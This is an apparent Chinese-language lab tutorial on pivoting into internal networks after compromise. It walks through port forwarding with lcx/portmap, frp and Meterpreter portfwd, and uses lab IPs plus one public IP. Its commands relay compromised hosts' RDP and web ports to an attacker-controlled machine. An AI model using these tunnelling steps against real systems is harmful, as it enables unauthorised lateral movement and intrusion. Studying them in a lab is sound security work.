内网环境搭建

  • 单层内网环境搭建

  • 攻击机

  • 192.168.71.20,使用kali或者物理机

  • 边界服务器

  • 边缘机设置双网卡,

    • 网卡1的ip地址为192.168.71.1,模拟公网段
    • 网卡2的ip地址为192.168.172.1,模拟内网段
  • 内网服务器1

  • 192.168.172.23

  • 内网服务器2

内网转发

1. 原理

  • 使用一些技术,通过中间服务器进行中转,将内部的端口映射到公网IP上,或者将内部端口转发到外部服务器

2. 转发方式

  1. 端口转发
  2. 用于目标机器限制了某一端口的情况。可以将本机的端口或者是本机可以访问到的任意主机的端口转发到任意一台你需要访问的公网IP上
  3. 端口映射
  4. 将一个内网无法访问的端口映射到公网的某个端口,进而进行攻击。比如:3389端口
  5. 代理转发
  6. 主要用于在目标机器上做跳板,进而可以对内网进行攻击

3. 四种情形

(1). 第一种情况

公网IP => 公网IP,攻击者有独立的外网IP,拿到shell的服务器也有独立的外网IP

(2). 第二种情况

公网IP => 内网IP,攻击者有独立的外网IP,拿到shell的服务器在内网,只有某一个或几个映射端口

(3). 第三种情况

内网IP => 内网IP,攻击者在内网,通过内网的公共路由器出去,拿到shell的服务器也在内网只有一个或某几个映射端口

(4). 第四种情况

内网IP => 公网IP,攻击者在内网,通过内网的公共路由器出去,拿到shell的服务器有独立的外网IP

端口转发

1. 原理

  • 将一个网络端口从一个网络节点转发到另一个网络节点的行为。使一个外部用户从外部经过一个中转站(被激活的NAT路由器)到达一个内网IP上的一个端口。

2. 场景

  • 外网主机A已经可以到达内网主机B上的端口,但是无法访问内网主机C上的端口,此时可以将C主机的端口转发到B主机的端口,那么外网主机A访问B主机的某某端口就相当于访问了C主机的某某端口

场景举例

3. 工具使用

  • 均基于C/S架构实现,也就是存在服务端和客户端

(1). lcx

  • lcx是一个基于Socket套接字实现的端口转发工具,有Windows和Linux两个版本Windows版是Icx.exe,Linux版为portmap
a. Windows
①基本命令
转发端口:   lcx.exe -slave 公网主机IP 端口 内网主机IP 端囗
监听端口:   lcx.exe -listen 转发端口,本机任意没有被占用的端口
映射端口:   lcx.exe -tran 映射端囗号 目标ip 目标端口
②本地转发
  • 如果目标服务器由于防火墙的限制,部分端口的数据无法通过防火墙,可以将目标服务器相应端口的数据传到防火墙
    允许的其他端口

    #在边界服务器上执行该命令,间接的修改自己的RDP端口号为3388
    lcx.exe -tran 3388 192.168.71.49 3389
    
    #通过修改后的端口号3388进行远程桌面连接,
    
③远程转发
  • 攻击者可以访问WEB服务器,WEB服务器可以访问内网的服务器,攻击者不可以访问内网的服务器

    #先在攻击者机器上开启1234端口监听,再使用8888端口接受1234端口监听到的数据
    监听端口:lcx.exe -listen 1234 8888
    
    #再在边界服务器上设置,将内网服务器1上的一个服务801端口转发到公网IP(攻击者机器的IP)上
    转发端口:lcx.exe -slave 192.168.71.20 192.168.172.23 801
    
    #最后直接通过攻击者机器的IP来间接的访问内网服务
    http://192.168.71.20:8888/test.txt
    
④不同场景
  1. 80端口只能本地访问,但8080端口对外开放且未占用

  2. 适用于想要访问的服务的端口未对外开放,但存在其他未使用的开放端口情况

  3. 被控服务器的80端口转发到本地的8080端口(本地端口转发)

      lcx -tran 8080 127.0.0.1 80
    
  4. 外网服务器访问被控服务器的8080端口

      外网直接访问 http://被控服务器ip:8080
    
  5. 将内网主机的3389端口转发到外网服务器上某一端口

  6. 也就是肉机连接外网的攻击机

  7. 外网服务器开启监听

      lcx -listen 4444 12345
    
  8. 肉机端口转发到外网服务器

      #lcx -slave 公网ip 端口 肉机能访问到的ip 端口
      lcx -slave 113.44.142.245 4444 192.168.172.11 3389
    
  9. 在外网服务器连接本地另一指定的端口

      #在外网服务器直接连接相应端口
      mstsc 127.0.0.1:12345
    
  10. 内网主机只能访问同网段内网机器,同时80端口只能本地访问,但是8080端口对外开放

  11. 肉机的3389端口转发到本地的8080端口

      lcx -tran 8080 127.0.0.1 80
    
  12. 在能够对外访问的内网机器上监听端口

      lcx -listen 4444 12345
    
  13. 在内网肉机上连接内网能够对外访问的服务器

      lcx -slave 192.168.56.1 4444 192.168.56.101 8080
    
  14. 外网访问能对外访问的服务器ip的指定端口(这里为12345)

      #在外网访问对外开放主机ip的端口
      http://192.168.64.106:12345
    
b. Linux
①基本命令

基本命令

②用法举例
#./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]
./portmap -m 2 -p1 6666 -h2 公网IP -p2 7777   #监听来自6666端口的请求,将其转发到7777端口

(2). frp

  • Go语言开发的高性能反向代理应用,可以进行内网穿透,对外网提供服务,支持tcp、udp、http、https协议
  • https://github.com/fatedier/frp
a. 特点
  1. 利用处于内网防火墙后的机器,对外网环境提供http、https、tcp、udp服务
  2. 对于http、https服务支持基于域名的虚拟主机,支持自定义域名绑定,使多个域名可以共用一个80端口
b. 服务端设置
①下载对应版本
wget https://github.com/fatedier/frp/releases/download/v0.38.0/frp_0.38.0_linux_amd64.tar.gz
②解压查看

对应内容

③修改frps.ini
  • 文件格式为:

    [common]
    bind_port= 7000               #frp服务器监听端口
    
    dashboard_port= 7500      #web后台监听端口
    dashboard_user= admin     #web后台的用户名和密码
    dashboard_pwd = admin
    
    token = 123456                #用于客户端和服务端连接的口令,请自行设置并记录
    

frps.ini文件内容

④运行服务端
  • 使用的是Windows版本,故在终端运行

    #Linux版本:   ./frps -c frps.ini
    frps.exe -c frps.ini
    

运行服务端

⑤访问控制台
http://192.168.22.46:7500

访问控制台

c. 客户端设置
  • 通常是部署在能够访问内网的机器上
①下载软件
  • 根据客户端设备的情况,选择相应的frp程序进行下载
②修改frpc.ini文件
[common]
server_addr= 192.168.22.46          #服务端IP地址
server_port= 7000                       #服务器端口
token=123456                            #服务器上设置的连接口令
[rdp]                                   #自定义规则,[xxx]表示规则名
type = tcp                              #type:转发的协议类型
local_ip = 192.168.172.23                   
local_port = 3389                       #本地应用的端口号
remote_port = 7001                      #这条规则在服务端开放的端口号

frpc.ini

③运行客户端
  1. 使用cmd命令提示符或Powershell进入frp目录下
frpc.exe -c frpc.ini

启动客户端

  1. 不关闭命令行窗口,此时可在局域网外使用相应程序访问xxxx:xx(VPS的IP:自定义的remote_port),即可访问到相应服务
#在mstsc中输入以下内容,可以访问到内网服务器的3389端口
192.168.22.46:7001

成功上线

成功连接

成功连接

(3). portfwd

  • 一款内置于Meterpreter shell中的工具,允许直接访问攻击者系统无法访问的机器。在可以访问攻击者和目标网络的受损主机上运行此命令,可以实质上通过本机转发TCP连接,从而使其成为一个支点
  • portfwd将中继与连接的机器之间的TCP连接,同使用ssh连接的端口转发技术一样
a. 选项
-L: 要监听的本地主机(可选)
-h:查看帮助信息
-l:要监听的'本地端口',与此端口的链接将被转发到远程系统
-p:要连接的'远程端口',TCP连接将转发到的端口
-r:要连接的'远程主机的IP地址'

选项

b. 参数
Add: 该参数用于'创建转发'
Delete: 这将从转发端口列表中'删除先前的条目'
List: 列出'当前转发的所有端口'
Flush: 这将'删除转发列表'中的'所有端口'
c. 语法
①add
meterpreter> portfwd add - 本地监听端口号 -p 目标端口号 -r 目标机的IP地址
  • add: 将端口转发添加到列表中,并创建一个隧道

  • -l: 本地端口,将被监听并转发到我们的目标,这可以是机器上的任何端口,只要它尚未被使用的

  • -p: 是目标机上的目标端口

  • -r [target host]:是目标机的IP或主机名

Add语法

②Delete
meterpreter> portfwd delete - 本地监听端口号 -p 目标端口号 -r 目标机的IP地址
  • delete: 删除条目

  • -1: 本地端口,将被监听并转发到我们的目标,这可以是机器上上的任何端口,只要它尚未被使用的

  • -p: 目标机上的目标端口

  • -r [target host]: 是目标机的IP或主机名

    Delete语法

③List
  • 不需要额外的选项,可以直接列出正在监听和转发的端口列表
meterpreter > portfwd list

List语法

④Flush
  • 不需要额外的选项,一次性移除所有的本地端口
meterpreter> portfwd flush
d. 实例
#将3389端口转发到攻击机的6666端口上
#在msf控制台中操作,前提是已经获得shell
portfwd add -l6666 -p 3389 -r 192.168.152.145